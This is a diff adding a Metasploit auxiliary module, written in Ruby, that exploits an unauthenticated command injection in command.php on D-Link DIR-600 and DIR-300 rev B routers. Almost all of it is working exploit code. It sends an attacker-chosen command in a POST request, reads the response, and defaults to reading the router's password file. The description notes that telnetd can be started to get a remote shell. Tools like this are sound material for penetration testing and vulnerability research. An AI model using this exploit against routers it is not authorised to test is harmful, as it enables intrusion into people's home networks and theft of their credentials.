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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an OS Command Injection vulnerability in some D-Link |
| 19 | + Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in |
| 20 | + command.php, which is accessible without authentication. This module has been |
| 21 | + tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. |
| 22 | + In order to get a remote shell the telnetd could be started without any |
| 23 | + authentication. |
| 24 | + }, |
| 25 | + 'Author' => [ 'm-1-k-3' ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + [ 'OSVDB', '89861' ], |
| 30 | + [ 'EDB', '24453' ], |
| 31 | + [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], |
| 32 | + [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], |
| 33 | + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] |
| 34 | + ], |
| 35 | + 'DefaultTarget' => 0, |
| 36 | + 'DisclosureDate' => 'Feb 04 2013')) |
| 37 | + |
| 38 | + register_options( |
| 39 | + [ |
| 40 | + Opt::RPORT(80), |
| 41 | + OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd']) |
| 42 | + ], self.class) |
| 43 | + end |
| 44 | + |
| 45 | + def run |
| 46 | + uri = '/command.php' |
| 47 | + |
| 48 | + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) |
| 49 | + |
| 50 | + data_cmd = "cmd=#{datastore['CMD']}; echo end" |
| 51 | + |
| 52 | + begin |
| 53 | + res = send_request_cgi( |
| 54 | + { |
| 55 | + 'uri' => uri, |
| 56 | + 'method' => 'POST', |
| 57 | + 'data' => data_cmd |
| 58 | + }) |
| 59 | + return if res.nil? |
| 60 | + return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) |
| 61 | + return if res.code == 404 |
| 62 | + rescue ::Rex::ConnectionError |
| 63 | + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") |
| 64 | + return |
| 65 | + end |
| 66 | + |
| 67 | + if res.body.include?("end") |
| 68 | + print_good("#{rhost}:#{rport} - Exploited successfully\n") |
| 69 | + print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") |
| 70 | + print_line("#{rhost}:#{rport} - Output: #{res.body}") |
| 71 | + else |
| 72 | + print_error("#{rhost}:#{rport} - Exploit failed.") |
| 73 | + end |
| 74 | + end |
| 75 | +end |
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